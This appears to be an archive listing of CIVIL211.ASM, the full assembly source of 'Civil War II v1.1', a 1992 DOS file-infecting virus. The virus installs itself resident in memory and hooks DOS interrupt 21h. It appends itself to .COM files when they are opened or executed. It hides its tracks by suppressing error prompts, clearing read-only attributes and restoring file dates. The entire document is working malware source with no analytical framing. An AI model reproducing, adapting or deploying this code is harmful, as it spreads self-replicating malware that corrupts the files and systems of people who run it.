home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CIVIL211.ASM < prev    next >
Assembly Source File  |  1992-08-13  |  8KB  |  303 lines

  1. ;****************************************************************************
  2. ;   Civil War II V1.1                                                  *
  3. ;                                                                *
  4. ;   Assembled with Tasm 2.5                                            *
  5. ;   (c) 1992 Trident/Dark Helmet, The Netherlands                             *
  6. ;                                           *
  7. ;****************************************************************************
  8. ;                                        *
  9. ;   Civil War...                                *
  10. ;                                        *
  11. ;   "For all I've seen has change my mind                               *
  12. ;    But still the wars go on as the years go by                        *
  13. ;    With no love for God or human rights                               *
  14. ;    'Cause all these dreams are swept aside                            *
  15. ;    By bloody hands of the hypnotized                        *
  16. ;    Who carry the cross of homicide                                    *
  17. ;    And history bears the scars of our civil war"                      *
  18. ;                                                                *
  19. ;****************************************************************************
  20.  
  21.               .Radix 16
  22. Civil_War     Segment
  23.         Model  small
  24.               Assume cs:Civil_War, ds:Civil_War, es:Civil_War
  25.  
  26.               org 100h
  27.  
  28. len           equ offset last - begin
  29. virus_len     equ len / 16d 
  30.  
  31. dummy:             db 0e9h, 03h, 00h, 44h, 48h, 00h       ; Jump + infection
  32.                                               ; marker
  33.  
  34. begin:             Call virus                            ; make call to
  35.                                                ; push IP on stack
  36.  
  37. virus:             pop      bp                          ; get IP from stack.
  38.               sub      bp,109h                      ; adjust IP.
  39.  
  40. restore_host:      mov      di,0100h                    ; recover beginning
  41.               lea      si,ds:[carrier_begin+bp]     ; of carrier program.
  42.               mov      cx,06h
  43.               rep      movsb
  44.  
  45. check_resident:    mov    ah,0a0h                     ; check if virus
  46.              int    21h                         ; already installed.
  47.              cmp    ax,0001h
  48.              je       end_virus
  49.  
  50. adjust_memory:     mov      ax,cs                          ; start of Memory
  51.               dec      ax                          ; Control Block
  52.               mov      ds,ax
  53.               cmp      byte ptr ds:[0000],5a          ; check if last
  54.                                                ; block
  55.               jne      abort                          ; if not last block
  56.                                                ; end
  57.               mov      ax,ds:[0003]                   ; decrease memory
  58.               sub      ax,40                       ; by 1kbyte lenght
  59.               mov      ds:[0003],ax
  60.         sub    word ptr ds:[0012],40h
  61.  
  62. install_virus:     mov      bx,ax                          ; es point to start
  63.               mov      ax,es                          ; virus in memory
  64.               add      ax,bx
  65.               mov      es,ax
  66.               mov      cx,len                     ; cx = lenght virus
  67.               mov      ax,ds                          ; restore ds
  68.               inc      ax
  69.               mov      ds,ax
  70.               lea      si,ds:[begin+bp]               ; point to start virus
  71.               lea      di,es:0100                     ; point to destination
  72.               rep      movsb                          ; copy virus in
  73.                                                ; memory
  74.               mov      [virus_segment+bp],es             ; store start virus
  75.                                                ; in memory
  76.               mov     ax,cs                         ; restore es
  77.               mov      es,ax
  78.  
  79. hook_vector:       cli                    ; no interups
  80.               mov      ax,3521h            ; revector int 21
  81.               int      21h
  82.         mov     ds,[virus_segment+bp]
  83.         mov      old_21h-6h,bx
  84.               mov      old_21h+2-6h,es
  85.  
  86.               mov      dx,offset main_virus - 6h
  87.               mov      ax,2521h
  88.               int      21h
  89.               sti
  90.  
  91. abort:             mov      ax,cs
  92.              mov      ds,ax
  93.               mov      es,ax
  94.  
  95. end_virus:         mov    bx,0100h            ; jump to begin
  96.         jmp    bx                ; host file
  97.  
  98.         
  99. ;*****************************************************************************
  100.  
  101. main_virus:        pushf                    
  102.         cmp    ah,0a0h                ; check virus call
  103.         jne    new_21h                ; no virus call
  104.         mov    ax,0001h            ; ax = id
  105.         popf                    ; return id    
  106.         iret
  107.         
  108. new_21h:    push    ds                ; save registers
  109.         push    es
  110.         push    di
  111.         push    si
  112.         push    ax
  113.         push    bx
  114.         push    cx
  115.         push    dx
  116.  
  117. check_open:    cmp    ah,3dh
  118.         je    chk_com
  119.  
  120. check_exec:    cmp    ax,04b00h            ; exec function?
  121.         je    chk_com
  122.         
  123. continu:    pop    dx                ; restore registers
  124.         pop    cx
  125.         pop    bx
  126.         pop    ax
  127.         pop    si
  128.         pop    di
  129.         pop    es
  130.         pop    ds
  131.         popf
  132.         jmp    dword ptr cs:[old_21h-6]
  133.  
  134. chk_com:    mov    cs:[name_seg-6],ds
  135.         mov    cs:[name_off-6],dx
  136.         cld                    ; check extension
  137.         mov    di,dx                ; for COM
  138.         push    ds
  139.         pop    es
  140.         mov    al,'.'                ; search extension
  141.         repne    scasb                ; check for 'COM"
  142.         cmp    word ptr es:[di],'OC'        ; check 'CO'
  143.         jne    continu
  144.         cmp    word ptr es:[di+2],'M'        ; check 'M'
  145.         jne    continu
  146.         
  147.         call    set_int24h
  148.         call    set_atribuut
  149.                 
  150. open_file:    mov    ds,cs:[name_seg-6]
  151.         mov    dx,cs:[name_off-6]
  152.         mov    ax,3D02h            ; open file
  153.         call     do_int21h
  154.         jc    close_file
  155.         push    cs
  156.         pop    ds
  157.         mov    [handle-6],ax
  158.         mov    bx,ax    
  159.  
  160.         call    get_date    
  161.         
  162. check_infect:    push    cs
  163.         pop    ds
  164.         mov    bx,[handle-6]            ; read first 6 bytes
  165.         mov    ah,3fh
  166.         mov    cx,06h
  167.         lea    dx,[carrier_begin-6]
  168.         call    do_int21h
  169.         mov    al, byte ptr [carrier_begin-6]+3 ; check initials    
  170.         mov    ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
  171.         cmp    ax,[initials-6]
  172.         je    save_date             ; if equal already
  173.                              ; infect
  174.         
  175. get_lenght:    mov    ax,4200h            ; file pointer begin
  176.         call    move_pointer
  177.         mov    ax,4202h            ; file pointer end
  178.         call    move_pointer
  179.         sub    ax,03h                ; ax = filelenght
  180.         mov    [lenght_file-6],ax
  181.         
  182.         call    write_jmp
  183.         call    write_virus
  184.  
  185. save_date:    push    cs
  186.         pop    ds
  187.         mov    bx,[handle-6]
  188.         mov    dx,[date-6]
  189.         mov    cx,[time-6]
  190.         mov    ax,5701h
  191.         call    do_int21h
  192.  
  193. close_file:    mov    bx,[handle-6]
  194.         mov    ah,03eh                ; close file
  195.         call    do_int21h
  196.         
  197.         mov    dx,cs:[old_24h-6]        ; restore int24h
  198.         mov    ds,cs:[old_24h+2-6]
  199.         mov    ax,2524h
  200.         call    do_int21h
  201.         
  202.         jmp    continu        
  203.         
  204.         
  205.  
  206.  
  207. new_24h:    mov    al,3
  208.         iret
  209.  
  210. ;---------------------------------------------------------------------------
  211. ;            PROCEDURES
  212. ;---------------------------------------------------------------------------
  213.  
  214. move_pointer:    push    cs
  215.         pop    ds
  216.         mov    bx,[handle-6]
  217.         xor    cx,cx
  218.         xor    dx,dx
  219.         call    do_int21h
  220.         ret
  221.  
  222. do_int21h:    pushf
  223.         call     dword ptr cs:[old_21h-6]
  224.         ret
  225.  
  226. write_jmp:    push    cs
  227.         pop    ds
  228.         mov    ax,4200h
  229.         call    move_pointer
  230.         mov    ah,40h
  231.         mov    cx,01h
  232.         lea    dx,[jump-6]
  233.         call    do_int21h
  234.         mov    ah,40h
  235.         mov    cx,02h
  236.         lea    dx,[lenght_file-6]
  237.         call    do_int21h
  238.         mov    ah,40h
  239.         mov    cx,02h
  240.         lea    dx,[initials-6]
  241.         call    do_int21h
  242.         ret
  243.  
  244. write_virus:    push    cs
  245.         pop    ds
  246.         mov    ax,4202h
  247.         call    move_pointer
  248.         mov    ah,40
  249.         mov    cx,len
  250.         mov    dx,100
  251.         call    do_int21h
  252.         ret
  253.  
  254. get_date:    mov    ax,5700h
  255.         call    do_int21h
  256.         push    cs
  257.         pop    ds
  258.         mov    [date-6],dx
  259.         mov    [time-6],cx
  260.         ret
  261.  
  262. set_int24h:    mov    ax,3524h
  263.         call    do_int21h
  264.         mov    cs:[old_24h-6],bx
  265.         mov    cs:[old_24h+2-6],es
  266.         mov    dx,offset new_24h-6
  267.         push    cs
  268.         pop    ds
  269.         mov    ax,2524h
  270.         call    do_int21h
  271.         ret
  272.  
  273. set_atribuut:    mov    ax,4300h            ; get atribuut
  274.         mov    ds,cs:[name_seg-6]
  275.         mov    dx,cs:[name_off-6]
  276.         call    do_int21h
  277.         and    cl,0feh                ; set atribuut
  278.         mov    ax,4301h
  279.         call    do_int21h        
  280.         ret
  281.  
  282. ;---------------------------------------------------------------------------
  283. ;                DATA
  284. ;---------------------------------------------------------------------------
  285.  
  286. old_21h            dw  00h,00h
  287. old_24h        dw  00h,00h
  288. carrier_begin      db  090h, 0cdh, 020h, 044h, 048h, 00h
  289. text          db  'Civil War II v1.1, (c) 06/03/1992 Trident/Dark Helmet, The Netherlands',00h
  290. jump        db  0e9h
  291. name_seg    dw  ?
  292. name_off    dw  ?
  293. virus_segment      dw  ?
  294. lenght_file    dw  ?
  295. handle        dw  ?
  296. date        dw  ?
  297. time        dw  ?
  298. initials    dw  4844h
  299. last          db  090h
  300.  
  301. Civil_war     ends
  302.               end dummy
  303.